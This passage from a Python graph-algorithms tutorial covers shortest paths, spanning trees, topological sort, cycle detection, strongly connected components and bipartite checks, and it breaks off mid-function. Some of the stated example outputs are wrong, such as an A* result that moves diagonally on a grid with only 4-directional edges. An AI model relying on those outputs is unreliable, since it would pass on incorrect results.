Done! (V-1 = 3 iterations)

Negative Cycle Detection:
- If we can still relax edges after V-1 iterations,
  there must be a negative cycle
- Because legitimate shortest paths can't have more than V-1 edges

def floyd_warshall(graph):
    """
    Floyd-Warshall algorithm for all-pairs shortest paths.

    Time: $O(V^3)$
    Space: $O(V^2)$

    Args:
        graph: Dict where graph[u] = [(v, weight), ...]

    Returns:
        2D list dist where dist[i][j] = shortest distance from vertex i to j
        List of vertices (for indexing)

    Works with:
        - Negative edge weights
        - Detects negative cycles

    Use when:
        - Need shortest paths between all pairs
        - Graph is small/medium (V² space, V³ time)
        - Simpler implementation than running Dijkstra V times
    """
    # Get all vertices
    vertices = sorted(set(graph.keys()))
    n = len(vertices)
    vertex_to_idx = {v: i for i, v in enumerate(vertices)}

    # Initialize distance matrix
    dist = [[float('inf')] * n for _ in range(n)]

    # Distance from vertex to itself is 0
    for i in range(n):
        dist[i][i] = 0

    # Add edges from graph
    for u in graph:
        i = vertex_to_idx[u]
        for v, weight in graph[u]:
            j = vertex_to_idx[v]
            dist[i][j] = weight

    # Floyd-Warshall algorithm
    # Try all vertices as intermediate points
    for k in range(n):
        for i in range(n):
            for j in range(n):
                # Is path i→k→j shorter than current i→j?
                if dist[i][k] + dist[k][j] < dist[i][j]:
                    dist[i][j] = dist[i][k] + dist[k][j]

    # Check for negative cycles
    for i in range(n):
        if dist[i][i] < 0:
            raise ValueError("Graph contains negative cycle")

    return dist, vertices

def floyd_warshall_with_path(graph):
    """
    Floyd-Warshall with path reconstruction.

    Returns: (distance matrix, next matrix for path reconstruction, vertices)
    """
    vertices = sorted(set(graph.keys()))
    n = len(vertices)
    vertex_to_idx = {v: i for i, v in enumerate(vertices)}

    dist = [[float('inf')] * n for _ in range(n)]
    next_vertex = [[None] * n for _ in range(n)]

    for i in range(n):
        dist[i][i] = 0

    for u in graph:
        i = vertex_to_idx[u]
        for v, weight in graph[u]:
            j = vertex_to_idx[v]
            dist[i][j] = weight
            next_vertex[i][j] = j

    for k in range(n):
        for i in range(n):
            for j in range(n):
                if dist[i][k] + dist[k][j] < dist[i][j]:
                    dist[i][j] = dist[i][k] + dist[k][j]
                    next_vertex[i][j] = next_vertex[i][k]

    return dist, next_vertex, vertices

def reconstruct_path(i, j, next_vertex):
    """Reconstruct path from i to j using next matrix."""
    if next_vertex[i][j] is None:
        return None

    path = [i]
    while i != j:
        i = next_vertex[i][j]
        path.append(i)

    return path

# Example
graph = {
    'A': [('B', 3), ('C', 8)],
    'B': [('C', 1), ('D', 2)],
    'C': [('D', 4)],
    'D': []
}

dist, vertices = floyd_warshall(graph)

print("Shortest distances between all pairs:")
for i, u in enumerate(vertices):
    for j, v in enumerate(vertices):
        if dist[i][j] == float('inf'):
            print(f"{u}→{v}: ∞", end="  ")
        else:
            print(f"{u}→{v}: {dist[i][j]}", end="  ")
    print()

# Output:
# A→A: 0  A→B: 3  A→C: 4  A→D: 5
# B→B: 0  B→C: 1  B→D: 2
# C→C: 0  C→D: 4
# D→D: 0

Idea: Try all possible intermediate vertices

Path from i to j can either:
1. Go directly: i → j
2. Go through k: i → k → j

For each pair (i,j), try all possible intermediate k:
dist[i][j] = min(dist[i][j], dist[i][k] + dist[k][j])

Example:
    A --3--> B --1--> C
    |                 ^
    8                 |
    └-----------------┘

Initial:
    A  B  C
A   0  3  8
B   ∞  0  1
C   ∞  ∞  0

Try k=B:
A→C through B: dist[A][B] + dist[B][C] = 3+1=4 < 8
Update A→C to 4!

Final:
    A  B  C
A   0  3  4  (A→C improved via B)
B   ∞  0  1
C   ∞  ∞  0

import heapq

def a_star(graph, start, goal, heuristic):
    """
    A* pathfinding algorithm.

    Time: $O(E \log V)$ typically, depends on heuristic quality
    Space: $O(V)$

    Args:
        graph: Dict where graph[u] = [(v, weight), ...]
        start: Starting vertex
        goal: Goal vertex
        heuristic: Function h(node, goal) estimating cost to goal

    Returns:
        Shortest path from start to goal, or None if no path exists

    Key concepts:
        - g(n): Actual cost from start to n
        - h(n): Heuristic estimated cost from n to goal
        - f(n) = g(n) + h(n): Total estimated cost

    Heuristic requirements:
        - Admissible: Never overestimates actual cost (h(n) ≤ true cost)
        - Consistent: h(n) ≤ cost(n,n') + h(n') for all neighbors n'

    If heuristic is admissible, A* finds optimal path!
    """
    # Priority queue: (f_score, vertex)
    open_set = [(0, start)]
    came_from = {}

    # g_score: cost from start to vertex
    g_score = {vertex: float('inf') for vertex in graph}
    g_score[start] = 0

    # f_score: g_score + heuristic
    f_score = {vertex: float('inf') for vertex in graph}
    f_score[start] = heuristic(start, goal)

    closed_set = set()

    while open_set:
        _, current = heapq.heappop(open_set)

        # Reached goal!
        if current == goal:
            # Reconstruct path
            path = [current]
            while current in came_from:
                current = came_from[current]
                path.append(current)
            return path[::-1]

        if current in closed_set:
            continue

        closed_set.add(current)

        # Check all neighbors
        for neighbor, weight in graph[current]:
            if neighbor in closed_set:
                continue

            # Calculate tentative g_score
            tentative_g = g_score[current] + weight

            # Found better path to neighbor
            if tentative_g < g_score[neighbor]:
                came_from[neighbor] = current
                g_score[neighbor] = tentative_g
                f_score[neighbor] = tentative_g + heuristic(neighbor, goal)
                heapq.heappush(open_set, (f_score[neighbor], neighbor))

    return None  # No path found

# Example: Grid pathfinding with Manhattan distance heuristic
def manhattan_distance(pos1, pos2):
    """
    Manhattan distance heuristic for grid graphs.
    Admissible for grids with 4-directional movement.
    """
    return abs(pos1[0] - pos2[0]) + abs(pos1[1] - pos2[1])

def euclidean_distance(pos1, pos2):
    """
    Euclidean distance heuristic.
    Admissible for grids with 8-directional movement.
    """
    return ((pos1[0] - pos2[0])**2 + (pos1[1] - pos2[1])**2)**0.5

# Grid graph example
grid_graph = {
    (0,0): [((0,1), 1), ((1,0), 1)],
    (0,1): [((0,0), 1), ((0,2), 1), ((1,1), 1)],
    (0,2): [((0,1), 1), ((1,2), 1)],
    (1,0): [((0,0), 1), ((1,1), 1), ((2,0), 1)],
    (1,1): [((0,1), 1), ((1,0), 1), ((1,2), 1), ((2,1), 1)],
    (1,2): [((0,2), 1), ((1,1), 1), ((2,2), 1)],
    (2,0): [((1,0), 1), ((2,1), 1)],
    (2,1): [((2,0), 1), ((1,1), 1), ((2,2), 1)],
    (2,2): [((1,2), 1), ((2,1), 1)]
}

path = a_star(grid_graph, (0,0), (2,2), manhattan_distance)
print(path)  # [(0, 0), (1, 1), (2, 2)]

Dijkstra: Explores uniformly in all directions
A*: Explores preferentially toward goal using heuristic

Grid Example (start=S, goal=G):

Dijkstra exploration:        A* exploration (good heuristic):
    3 2 3 4 5                    . . 4 5 6
    2 1 2 3 4                    . 3 3 4 5
    1 S 1 2 3                    2 S 2 3 4
    2 1 2 3 4                    . . 2 3 G
    3 2 3 4 G                    . . . . .

Dijkstra explores ~25 nodes     A* explores ~10 nodes

If heuristic = 0:
    A* becomes Dijkstra!
If heuristic = true cost:
    A* goes directly to goal!

Need shortest path?
├─ Unweighted graph? → Use BFS
├─ Single source?
│  ├─ Non-negative weights? → Use Dijkstra
│  ├─ Negative weights? → Use Bellman-Ford
│  └─ Have good heuristic? → Use A*
└─ All pairs?
   ├─ Small graph? → Use Floyd-Warshall
   └─ Large graph? → Run Dijkstra V times

class UnionFind:
    """
    Union-Find (Disjoint Set Union) data structure.

    Supports two operations:
    - find(x): Find the representative (root) of x's set
    - union(x, y): Merge the sets containing x and y

    Optimizations:
    - Path compression: Make tree flatter during find()
    - Union by rank: Attach smaller tree under larger tree

    Time Complexity (amortized):
    - find(): $O(\alpha(n))$ ≈ $O(1)$ where α is inverse Ackermann
    - union(): $O(\alpha(n))$ ≈ $O(1)$

    Space: $O(n)$
    """

    def __init__(self, n):
        """
        Initialize with n elements (0 to n-1).
        Each element starts in its own set.
        """
        self.parent = list(range(n))
        self.rank = [0] * n  # Rank is approximate tree height

    def find(self, x):
        """
        Find the root of x's set with path compression.

        Path compression: Make all nodes on path point directly to root.
        This flattens the tree structure for faster future finds.
        """
        if self.parent[x] != x:
            # Recursively find root and compress path
            self.parent[x] = self.find(self.parent[x])
        return self.parent[x]

    def union(self, x, y):
        """
        Merge the sets containing x and y.

        Union by rank: Attach shorter tree under taller tree.
        This keeps the tree balanced.

        Returns:
            True if union was performed (x and y in different sets)
            False if already in same set
        """
        root_x = self.find(x)
        root_y = self.find(y)

        # Already in same set
        if root_x == root_y:
            return False

        # Union by rank: attach smaller tree under larger
        if self.rank[root_x] < self.rank[root_y]:
            self.parent[root_x] = root_y
        elif self.rank[root_x] > self.rank[root_y]:
            self.parent[root_y] = root_x
        else:
            # Same rank: choose one as root, increase its rank
            self.parent[root_y] = root_x
            self.rank[root_x] += 1

        return True

    def connected(self, x, y):
        """Check if x and y are in the same set."""
        return self.find(x) == self.find(y)

# Example usage
uf = UnionFind(5)  # Elements 0,1,2,3,4

uf.union(0, 1)  # {0,1} {2} {3} {4}
uf.union(2, 3)  # {0,1} {2,3} {4}
uf.union(0, 4)  # {0,1,4} {2,3}

print(uf.connected(1, 4))  # True (same set)
print(uf.connected(1, 3))  # False (different sets)

def kruskal(edges, num_vertices):
    """
    Kruskal's algorithm for finding Minimum Spanning Tree.

    Time: $O(E \log E)$ dominated by edge sorting
    Space: $O(V)$ for Union-Find

    Args:
        edges: List of (weight, u, v) tuples
        num_vertices: Number of vertices (0 to num_vertices-1)

    Returns:
        List of edges in MST, total weight

    Algorithm:
    1. Sort all edges by weight
    2. For each edge (u,v):
       - If u and v in different components: add edge, union components
       - Else: skip edge (would create cycle)
    3. Stop when MST has V-1 edges
    """
    # Sort edges by weight
    edges = sorted(edges, key=lambda x: x[0])

    uf = UnionFind(num_vertices)
    mst = []
    total_weight = 0

    for weight, u, v in edges:
        # If u and v are not connected, add this edge
        if uf.union(u, v):
            mst.append((u, v, weight))
            total_weight += weight

            # MST complete when we have V-1 edges
            if len(mst) == num_vertices - 1:
                break

    return mst, total_weight

# Example
edges = [
    (1, 0, 1),  # (weight, u, v)
    (2, 0, 2),
    (3, 1, 2),
    (4, 1, 3),
    (5, 2, 3),
    (6, 2, 4),
    (7, 3, 4)
]

mst, weight = kruskal(edges, 5)
print("MST edges:", mst)
print("Total weight:", weight)
# MST edges: [(0, 1, 1), (0, 2, 2), (1, 3, 4), (2, 4, 6)]
# Total weight: 13

Original Graph:
        1
    0 ----- 1
    |     / | \
   2|   3/  |4 \7
    |   /   |   \
    2 ----- 3 --- 4
       5  /   \
         6     7

Edges sorted: [(1,0,1), (2,0,2), (3,1,2), (4,1,3), (5,2,3), (6,2,4), (7,3,4)]

Step-by-step:
1. Add (0,1,1): {0,1} {2} {3} {4}          Weight: 1
2. Add (0,2,2): {0,1,2} {3} {4}            Weight: 3
3. Skip (1,2,3): 1 and 2 already connected (would form cycle)
4. Add (1,3,4): {0,1,2,3} {4}              Weight: 7
5. Skip (2,3,5): 2 and 3 already connected
6. Add (2,4,6): {0,1,2,3,4}                Weight: 13
Done! Have 4 edges (V-1 = 5-1)

Final MST:
    0 ----- 1
    |       |
   2|       |4
    |       |
    2 ----- 3
       6
         \
          4

Total weight: 1+2+4+6 = 13

import heapq

def prim(graph, start):
    """
    Prim's algorithm for finding Minimum Spanning Tree.

    Time: $O((V + E) \log V)$ with binary heap
    Space: $O(V)$

    Args:
        graph: Dict where graph[u] = [(v, weight), ...]
        start: Starting vertex (can be any vertex)

    Returns:
        List of edges in MST, total weight

    Algorithm:
    1. Start with single vertex
    2. Repeat:
       - Find minimum weight edge connecting tree to non-tree vertex
       - Add that edge and vertex to tree
    3. Stop when all vertices in tree
    """
    mst = []
    visited = {start}

    # Priority queue: (weight, from_vertex, to_vertex)
    edges = [(weight, start, neighbor) for neighbor, weight in graph[start]]
    heapq.heapify(edges)

    total_weight = 0

    while edges and len(visited) < len(graph):
        weight, u, v = heapq.heappop(edges)

        # Skip if v already in MST
        if v in visited:
            continue

        # Add edge to MST
        visited.add(v)
        mst.append((u, v, weight))
        total_weight += weight

        # Add edges from newly added vertex
        for neighbor, w in graph[v]:
            if neighbor not in visited:
                heapq.heappush(edges, (w, v, neighbor))

    return mst, total_weight

# Example
graph = {
    0: [(1, 1), (2, 2)],
    1: [(0, 1), (2, 3), (3, 4)],
    2: [(0, 2), (1, 3), (3, 5), (4, 6)],
    3: [(1, 4), (2, 5), (4, 7)],
    4: [(2, 6), (3, 7)]
}

mst, weight = prim(graph, 0)
print("MST edges:", mst)
print("Total weight:", weight)
# MST edges: [(0, 1, 1), (0, 2, 2), (1, 3, 4), (2, 4, 6)]
# Total weight: 13

Same graph as Kruskal example:
        1
    0 ----- 1
    |     / | \
   2|   3/  |4 \7
    |   /   |   \
    2 ----- 3 --- 4
       5  /   \
         6     7

Starting from vertex 0:

Step 1: MST={0}, Edges from 0: [(1,0,1), (2,0,2)]
        Choose (0,1,1) - minimum
        MST={0,1}, Added: 0-1 (weight 1)

Step 2: Edges: [(2,0,2), (3,1,2), (4,1,3)]
        Choose (0,2,2) - minimum
        MST={0,1,2}, Added: 0-2 (weight 2)

Step 3: Edges: [(3,1,2), (4,1,3), (5,2,3), (6,2,4)]
        Choose (1,2,3) - skip, 2 already in MST
        Choose (1,3,4) - minimum unvisited
        MST={0,1,2,3}, Added: 1-3 (weight 4)

Step 4: Edges: [(5,2,3), (6,2,4), (7,3,4)]
        Choose (2,3,5) - skip, 3 already in MST
        Choose (2,4,6) - minimum unvisited
        MST={0,1,2,3,4}, Added: 2-4 (weight 6)

Done! All vertices in MST.
Total weight: 1+2+4+6 = 13

def topological_sort_dfs(graph):
    """
    Topological sort using DFS.

    Time: $O(V + E)$
    Space: $O(V)$

    Args:
        graph: Dict where graph[u] = [v, ...] (directed graph)

    Returns:
        List of vertices in topological order

    Algorithm:
    1. Perform DFS from each unvisited vertex
    2. Add vertex to stack after visiting all descendants
    3. Stack gives reverse topological order

    Intuition: Vertices with no dependencies end up at bottom of stack,
               so when reversed, they come last.
    """
    visited = set()
    stack = []

    def dfs(vertex):
        visited.add(vertex)

        # Visit all neighbors first
        for neighbor in graph.get(vertex, []):
            if neighbor not in visited:
                dfs(neighbor)

        # Add to stack after visiting all descendants
        stack.append(vertex)

    # Visit all vertices
    for vertex in graph:
        if vertex not in visited:
            dfs(vertex)

    # Reverse stack to get topological order
    return stack[::-1]

# Example: Course prerequisites
graph = {
    'Math': ['Physics', 'CS'],
    'Physics': ['Engineering'],
    'CS': ['AI', 'Engineering'],
    'AI': [],
    'Engineering': []
}

print(topological_sort_dfs(graph))
# Possible output: ['Math', 'CS', 'Physics', 'AI', 'Engineering']
# or: ['Math', 'Physics', 'CS', 'Engineering', 'AI']
# Multiple valid orderings!

Graph (course prerequisites):
    Math
    / \
  CS   Physics
  / \    |
AI  Engineering
     (CS → Engineering)

DFS traversal:
1. Visit Math
   2. Visit CS
      3. Visit AI → add AI to stack: [AI]
      4. Visit Engineering → add Engineering: [AI, Engineering]
   5. Add CS: [AI, Engineering, CS]
   6. Visit Physics
      7. Engineering already visited
   8. Add Physics: [AI, Engineering, CS, Physics]
9. Add Math: [AI, Engineering, CS, Physics, Math]

Reversed: [Math, Physics, CS, Engineering, AI]

This ensures:
- Math before Physics and CS
- CS before AI and Engineering
- Physics before Engineering

from collections import deque

def topological_sort_kahn(graph):
    """
    Topological sort using Kahn's algorithm (BFS-based).

    Time: $O(V + E)$
    Space: $O(V)$

    Args:
        graph: Dict where graph[u] = [v, ...]

    Returns:
        List of vertices in topological order

    Raises:
        ValueError: If graph contains a cycle

    Algorithm:
    1. Calculate in-degree for all vertices
    2. Add vertices with in-degree 0 to queue
    3. Process queue:
       - Remove vertex, add to result
       - Decrease in-degree of neighbors
       - If neighbor's in-degree becomes 0, add to queue
    4. If processed all vertices: success
       Else: graph has cycle

    Advantage over DFS: Detects cycles naturally
    """
    # Calculate in-degree for all vertices
    in_degree = {v: 0 for v in graph}

    # Build in-degree map
    for u in graph:
        for v in graph[u]:
            if v not in in_degree:
                in_degree[v] = 0
            in_degree[v] += 1

    # Queue of vertices with no incoming edges
    queue = deque([v for v in in_degree if in_degree[v] == 0])
    result = []

    while queue:
        # Remove vertex with no incoming edges
        vertex = queue.popleft()
        result.append(vertex)

        # Reduce in-degree of neighbors
        for neighbor in graph.get(vertex, []):
            in_degree[neighbor] -= 1

            # If in-degree becomes 0, add to queue
            if in_degree[neighbor] == 0:
                queue.append(neighbor)

    # Check if all vertices were processed
    if len(result) != len(in_degree):
        raise ValueError("Graph contains a cycle - topological sort not possible")

    return result

# Example
graph = {
    'A': ['C'],
    'B': ['C', 'D'],
    'C': ['E'],
    'D': ['F'],
    'E': ['F'],
    'F': []
}

print(topological_sort_kahn(graph))
# Possible output: ['A', 'B', 'C', 'D', 'E', 'F']
# or: ['B', 'A', 'C', 'D', 'E', 'F']

# Example with cycle
graph_with_cycle = {
    'A': ['B'],
    'B': ['C'],
    'C': ['A']  # Cycle: A→B→C→A
}

try:
    topological_sort_kahn(graph_with_cycle)
except ValueError as e:
    print(e)  # "Graph contains a cycle"

Graph:
    A → C → E → F
    B → D ↗     ↑
                |

In-degrees:
A: 0, B: 0, C: 2, D: 1, E: 1, F: 2

Step 1: Queue = [A, B] (in-degree 0)
        Process A: result = [A]
        Decrease in-degree: C (2→1)

Step 2: Queue = [B]
        Process B: result = [A, B]
        Decrease in-degree: C (1→0), D (1→0)

Step 3: Queue = [C, D]
        Process C: result = [A, B, C]
        Decrease in-degree: E (1→0)

Step 4: Queue = [D, E]
        Process D: result = [A, B, C, D]
        Decrease in-degree: F (2→1)

Step 5: Queue = [E]
        Process E: result = [A, B, C, D, E]
        Decrease in-degree: F (1→0)

Step 6: Queue = [F]
        Process F: result = [A, B, C, D, E, F]

All vertices processed! Valid topological order.

def has_cycle_undirected(graph):
    """
    Detect cycle in undirected graph using DFS.

    Time: $O(V + E)$
    Space: $O(V)$

    Args:
        graph: Dict where graph[u] = [v, ...] (undirected)

    Returns:
        True if cycle exists, False otherwise

    Key idea:
    - In DFS, if we reach a visited vertex that's not the parent,
      we found a back edge → cycle exists
    - Parent exception: In undirected graph, edge u-v appears as
      both u→v and v→u, so we must ignore the edge we came from
    """
    visited = set()

    def dfs(vertex, parent):
        visited.add(vertex)

        for neighbor in graph.get(vertex, []):
            if neighbor not in visited:
                if dfs(neighbor, vertex):
                    return True
            elif neighbor != parent:
                # Found back edge to visited vertex (not parent) = cycle!
                return True

        return False

    # Check all components
    for vertex in graph:
        if vertex not in visited:
            if dfs(vertex, None):
                return True

    return False

# Example without cycle
graph1 = {
    'A': ['B', 'C'],
    'B': ['A', 'D'],
    'C': ['A'],
    'D': ['B']
}
print(has_cycle_undirected(graph1))  # False

# Example with cycle
graph2 = {
    'A': ['B', 'C'],
    'B': ['A', 'C'],
    'C': ['A', 'B']  # A-B-C-A forms cycle
}
print(has_cycle_undirected(graph2))  # True

No cycle:        Has cycle:
    A                A
   / \              / \
  B   C            B---C
  |
  D

DFS from A in cyclic graph:
1. Visit A
2. Visit B (from A)
3. See C (from B)
   - C is visited
   - C is not parent (parent is A)
   - CYCLE FOUND!

def has_cycle_directed(graph):
    """
    Detect cycle in directed graph using DFS with colors.

    Time: $O(V + E)$
    Space: $O(V)$

    Args:
        graph: Dict where graph[u] = [v, ...] (directed)

    Returns:
        True if cycle exists, False otherwise

    Three-color approach:
    - WHITE (0): Not visited yet
    - GRAY (1): Currently being explored (in DFS stack)
    - BLACK (2): Completely explored

    Key idea:
    - If we encounter a GRAY vertex during DFS, we found a back edge
      (edge to an ancestor in DFS tree) → cycle exists
    - GRAY vertices form the current DFS path
    """
    WHITE, GRAY, BLACK = 0, 1, 2
    color = {v: WHITE for v in graph}

    def dfs(vertex):
        color[vertex] = GRAY

        for neighbor in graph.get(vertex, []):
            if color.get(neighbor, WHITE) == GRAY:
                # Back edge to vertex currently being explored = cycle!
                return True

            if color.get(neighbor, WHITE) == WHITE:
                if dfs(neighbor):
                    return True

        color[vertex] = BLACK
        return False

    # Check all components
    for vertex in graph:
        if color[vertex] == WHITE:
            if dfs(vertex):
                return True

    return False

# Example without cycle (DAG)
dag = {
    'A': ['B', 'C'],
    'B': ['D'],
    'C': ['D'],
    'D': []
}
print(has_cycle_directed(dag))  # False

# Example with cycle
cyclic = {
    'A': ['B'],
    'B': ['C'],
    'C': ['A']  # A→B→C→A
}
print(has_cycle_directed(cyclic))  # True

Directed cycle:
    A → B → C
    ↑       |
    └-------┘

DFS traversal:
1. Visit A (color: GRAY)
2. Visit B from A (color: GRAY)
3. Visit C from B (color: GRAY)
4. See A from C
   - A is GRAY (currently being explored)
   - Back edge found: C→A
   - CYCLE DETECTED!

Current DFS path: [A, B, C]
A is ancestor of C in this path!

def find_cycle_directed(graph):
    """
    Find and return the actual cycle in a directed graph.

    Returns:
        List of vertices forming the cycle, or None if no cycle
    """
    WHITE, GRAY, BLACK = 0, 1, 2
    color = {v: WHITE for v in graph}
    parent = {}

    def dfs(vertex, path):
        color[vertex] = GRAY
        path.append(vertex)

        for neighbor in graph.get(vertex, []):
            if color.get(neighbor, WHITE) == GRAY:
                # Found cycle! Extract it from path
                cycle_start = path.index(neighbor)
                return path[cycle_start:] + [neighbor]

            if color.get(neighbor, WHITE) == WHITE:
                result = dfs(neighbor, path)
                if result:
                    return result

        color[vertex] = BLACK
        path.pop()
        return None

    for vertex in graph:
        if color[vertex] == WHITE:
            cycle = dfs(vertex, [])
            if cycle:
                return cycle

    return None

# Example
graph = {
    'A': ['B'],
    'B': ['C', 'D'],
    'C': ['E'],
    'D': ['E'],
    'E': ['B']  # Cycle: B→D→E→B
}

cycle = find_cycle_directed(graph)
print(cycle)  # ['B', 'D', 'E', 'B']

def find_connected_components(graph):
    """
    Find all connected components in an undirected graph.

    Time: $O(V + E)$
    Space: $O(V)$

    Args:
        graph: Dict where graph[u] = [v, ...] (undirected)

    Returns:
        List of components, where each component is a list of vertices

    A connected component is a maximal set of vertices such that
    there's a path between any two vertices in the set.
    """
    visited = set()
    components = []

    def dfs(vertex, component):
        visited.add(vertex)
        component.append(vertex)

        for neighbor in graph.get(vertex, []):
            if neighbor not in visited:
                dfs(neighbor, component)

    # Find each connected component
    for vertex in graph:
        if vertex not in visited:
            component = []
            dfs(vertex, component)
            components.append(component)

    return components

# Example
graph = {
    'A': ['B', 'C'],
    'B': ['A'],
    'C': ['A'],
    'D': ['E'],
    'E': ['D'],
    'F': []
}

components = find_connected_components(graph)
print(components)
# [['A', 'B', 'C'], ['D', 'E'], ['F']]
# Three separate components!

def kosaraju_scc(graph):
    """
    Find strongly connected components using Kosaraju's algorithm.

    Time: $O(V + E)$
    Space: $O(V + E)$

    Args:
        graph: Dict where graph[u] = [v, ...] (directed)

    Returns:
        List of SCCs, each SCC is a list of vertices

    Algorithm:
    1. Perform DFS on original graph, record finish times
    2. Create transpose graph (reverse all edges)
    3. Perform DFS on transpose in decreasing finish time order
    4. Each DFS tree in step 3 is an SCC

    Why it works:
    - DFS from highest finish time explores one SCC
    - In transpose, can't escape SCC (reversed edges)
    - Process SCCs in reverse topological order
    """
    # Step 1: DFS on original graph to get finish order
    visited = set()
    finish_stack = []

    def dfs1(vertex):
        visited.add(vertex)
        for neighbor in graph.get(vertex, []):
            if neighbor not in visited:
                dfs1(neighbor)
        finish_stack.append(vertex)

    for vertex in graph:
        if vertex not in visited:
            dfs1(vertex)

    # Step 2: Create transpose graph
    transpose = {v: [] for v in graph}
    for u in graph:
        for v in graph[u]:
            transpose[v].append(u)

    # Step 3: DFS on transpose in reverse finish order
    visited = set()
    sccs = []

    def dfs2(vertex, scc):
        visited.add(vertex)
        scc.append(vertex)
        for neighbor in transpose.get(vertex, []):
            if neighbor not in visited:
                dfs2(neighbor, scc)

    while finish_stack:
        vertex = finish_stack.pop()
        if vertex not in visited:
            scc = []
            dfs2(vertex, scc)
            sccs.append(scc)

    return sccs

# Example
graph = {
    'A': ['B'],
    'B': ['C', 'E'],
    'C': ['A', 'D'],
    'D': [],
    'E': ['F'],
    'F': ['E']
}

sccs = kosaraju_scc(graph)
print(sccs)
# [['D'], ['E', 'F'], ['A', 'B', 'C']]
# Three SCCs: {D}, {E,F}, {A,B,C}

Graph:
    A → B → E ⇄ F
    ↑   ↓
    C ← ┘
    ↓
    D

SCCs:
1. {A, B, C} - cycle A→B→C→A
2. {E, F} - cycle E→F→E
3. {D} - single node, no cycle

Why {A,B,C} is SCC:
- Can reach B from A: A→B
- Can reach C from A: A→B→C
- Can reach A from B: B→C→A
- Can reach A from C: C→A
- Can reach C from B: B→C
- Can reach B from C: C→A→B
All pairs reachable!

Why D is separate:
- Can reach D from others, but can't reach others from D

def tarjan_scc(graph):
    """
    Find strongly connected components using Tarjan's algorithm.

    Time: $O(V + E)$ - single DFS!
    Space: $O(V)$

    Args:
        graph: Dict where graph[u] = [v, ...]

    Returns:
        List of SCCs

    Advantage over Kosaraju: Only one DFS pass (no transpose needed)

    Key concepts:
    - index: Order in which vertices are visited
    - lowlink: Smallest index reachable from vertex via DFS
    - Stack: Current path in DFS
    - SCC found when vertex.lowlink == vertex.index
    """
    index_counter = [0]
    stack = []
    lowlinks = {}
    index = {}
    on_stack = set()
    sccs = []

    def strongconnect(vertex):
        # Set depth index for vertex
        index[vertex] = index_counter[0]
        lowlinks[vertex] = index_counter[0]
        index_counter[0] += 1
        stack.append(vertex)
        on_stack.add(vertex)

        # Consider successors
        for neighbor in graph.get(vertex, []):
            if neighbor not in index:
                # Neighbor not yet visited, recurse
                strongconnect(neighbor)
                lowlinks[vertex] = min(lowlinks[vertex], lowlinks[neighbor])
            elif neighbor in on_stack:
                # Neighbor in current SCC
                lowlinks[vertex] = min(lowlinks[vertex], index[neighbor])

        # If vertex is root of SCC
        if lowlinks[vertex] == index[vertex]:
            scc = []
            while True:
                w = stack.pop()
                on_stack.remove(w)
                scc.append(w)
                if w == vertex:
                    break
            sccs.append(scc)

    for vertex in graph:
        if vertex not in index:
            strongconnect(vertex)

    return sccs

# Example (same as Kosaraju)
graph = {
    'A': ['B'],
    'B': ['C', 'E'],
    'C': ['A', 'D'],
    'D': [],
    'E': ['F'],
    'F': ['E']
}

sccs = tarjan_scc(graph)
print(sccs)
# [['F', 'E'], ['D'], ['C', 'B', 'A']]
# Same SCCs, possibly different order

from collections import deque

def is_bipartite(graph):
    """
    Check if graph is bipartite using BFS coloring.

    Time: $O(V + E)$
    Space: $O(V)$

    Args:
        graph: Dict where graph[u] = [v, ...]

    Returns:
        True if bipartite, False otherwise

    Algorithm:
    - Try to 2-color the graph using BFS
    - Start with any vertex, color it 0
    - Color all neighbors with opposite color (1)
    - If neighbor already has same color → not bipartite
    - If successfully colored all vertices → bipartite
    """
    color = {}

    def bfs(start):
        queue = deque([start])
        color[start] = 0

        while queue:
            vertex = queue.popleft()

            for neighbor in graph.get(vertex, []):
                if neighbor not in color:
                    # Color neighbor with opposite color
                    color[neighbor] = 1 - color[vertex]
                    queue.append(neighbor)
                elif color[neighbor] == color[vertex]:
                    # Neighbor has same color → not bipartite!
                    return False

        return True

    # Check all components (graph might be disconnected)
    for vertex in graph:
        if vertex not in color:
            if not bfs(vertex):
                return False

    return True

# Example: Bipartite graph
bipartite = {
    'A': ['C', 'D'],
    'B': ['C', 'D'],
    'C': ['A', 'B'],
    'D': ['A', 'B']
}
print(is_bipartite(bipartite))  # True
# Sets: {A, B} and {C, D}

# Example: Not bipartite (triangle = odd cycle)
not_bipartite = {
    'A': ['B', 'C'],
    'B': ['A', 'C'],
    'C': ['A', 'B']
}
print(is_bipartite(not_bipartite))  # False

Bipartite (rectangle):
    A --- C
    |     |
    |     |
    B --- D

Two sets: {A, B} and {C, D}
Coloring: A=0, B=0, C=1, D=1 ✓

Not Bipartite (triangle):
    A --- B
     \   /
      \ /
       C

Trying to color:
A=0, B=1, C=0
But C is neighbor of both A(0) and B(1)!
Need C to be both 1 and 0 → impossible!

Odd cycle: A-B-C-A (length 3)

def find_bipartite_sets(graph):
    """
    Find the two disjoint sets if graph is bipartite.

    Returns:
        (set_0, set_1) if bipartite, None if not bipartite
    """
    color = {}

    def bfs(start):
        queue = deque([start])
        color[start] = 0

        while queue:
            vertex = queue.popleft()

            for neighbor in graph.get(vertex, []):
                if neighbor not in color:
                    color[neighbor] = 1 - color[vertex]
                    queue.append(neighbor)
                elif color[neighbor] == color[vertex]:
                    return False

        return True

    # Check all components
    for vertex in graph:
        if vertex not in color:
            if not bfs(vertex):
                return None  # Not bipartite

    # Separate vertices by color
    set_0 = [v for v, c in color.items() if c == 0]
    set_1 = [v for v, c in color.items() if c == 1]

    return set_0, set_1

# Example
graph = {
    'A': ['C', 'D'],
    'B': ['C', 'D'],
    'C': ['A', 'B', 'E'],
    'D': ['A', 'B'],
    'E': ['C']
}

sets = find_bipartite_sets(graph)
print(sets)
# (['A', 'B', 'E'], ['C', 'D'])
# or (['C', 'D'], ['A', 'B', 'E'])

def is_bipartite_dfs(graph):
    """
    Check if graph is bipartite using DFS.

    Alternative to BFS approach, same complexity.
    """
    color = {}

    def dfs(vertex, c):
        color[vertex] = c

        for neighbor in graph.get(vertex, []):
            if neighbor not in color:
                # Color neighbor with opposite color
                if not dfs(neighbor, 1 - c):
                    return False
            elif color[neighbor] == color[vertex]:
                # Same color → not bipartite
                return False

        return True

    # Check all components
    for vertex in graph:
        if vertex not in color:
            if not dfs(vertex, 0):
                return False

    return True

class Node:
    def __init__(self, val=0, neighbors=None):
        self.val = val
        self.neighbors = neighbors if neighbors is not None else []

def clone_graph(node):
    """
    Deep clone a graph (LeetCode 133).

    Time: $O(V + E)$
    Space: $O(V)$

    Returns: Clone of the input node
    """
    if not node:
        return None

    # Map original nodes to clones
    clones = {}

    def dfs(node):
        if node in clones:
            return clones[node]

        # Create clone
        clone = Node(node.val)
        clones[node] = clone

        # Clone all neighbors
